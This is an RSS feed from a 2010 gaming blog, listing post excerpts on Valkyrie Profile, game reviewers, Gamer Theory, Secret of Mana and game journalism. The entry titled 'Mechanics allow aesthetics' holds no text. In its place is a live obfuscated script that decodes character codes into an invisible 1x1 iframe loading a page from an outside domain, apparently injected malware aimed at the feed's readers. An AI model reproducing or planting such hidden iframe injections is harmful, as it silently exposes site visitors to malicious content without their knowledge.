http://www.am3thyst.net/gaminggourmet Welcoming to gaming gourmet. We are here to serve you up some tasty thoughts on all things gaming. Fri, 25 Jun 2010 18:19:39 +0000 http://backend.userland.com/rss092 en http://www.am3thyst.net/gaminggourmet/?p=32 Mechanics allow aesthetics. document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62)) http://www.am3thyst.net/gaminggourmet/?p=41 I recently completed Valkyrie Profile, the original PS version, after a leaving it long in limbo since I played the majority of it in Fall 2006. It reminded me of the role of writing and narrative in games, and I think it represents something rather unique and compelling. Instead of ... http://www.am3thyst.net/gaminggourmet/?p=40 It seems we have a new popular phenom game reviewer, who not only is internet famous, but now has secured himself a spot on television. This British-born Aussie seems to have made quite a dent with his tongue-in-cheek profanity laced reviews. Yet for each part of vitriol and sheer disdain, ... http://www.am3thyst.net/gaminggourmet/?p=39 I finally got to reading Gamer Theory, alas I found no value in reading the whole thing. I read the beginning but towards the middle, found no motivation to read any of the chapters, so I skipped ahead to the end, to see if there was any insight worth ... http://www.am3thyst.net/gaminggourmet/?p=37 Last week I randomly indulged in a nostalgic whim and picked up copies of Super Star Wars and Super Empire Strikes Back off Ebay. If I remember correctly, I used cheats on these when I was a kid, and I think it was justified. These games have something that we simply ... http://www.am3thyst.net/gaminggourmet/?p=35 The termination of Jeff Gerstmann at Gamespot has erupted quite a response. As it should, and fortunately it is opening dialogue about game reviews and game critics. Some of it is rather interesting, most of it is just bitch fest and a lot of 'I knew game reviews were all ... http://www.am3thyst.net/gaminggourmet/?p=34 I have been replaying Secret of Mana. Even when I have quite a bit of new gamage to go over, it just sort of stole my attention and put it into a vice grip away from all those shiny new packages and their brilliant and bright graphics and audio. But ... http://www.am3thyst.net/gaminggourmet/?p=31 I am kicking myself for missing this movie when it was screened at the MoMa. According to this post, the "rock-mentary" touches upon a lot facets of the gaming culture, with an emphasis on the more "artsy" aspects. This movie seems like it would complement the Culture section of the ... http://www.am3thyst.net/gaminggourmet/?p=28 Sometimes I get extremely frustrated and or depressed with the state of supposed game journalism and its associated game writers. Primarily this revolves around the sheer juvenality and sensationalism of their work. But if I swing the other way, to the reporting of the mainstream press, even among its game ... http://www.am3thyst.net/gaminggourmet/?p=26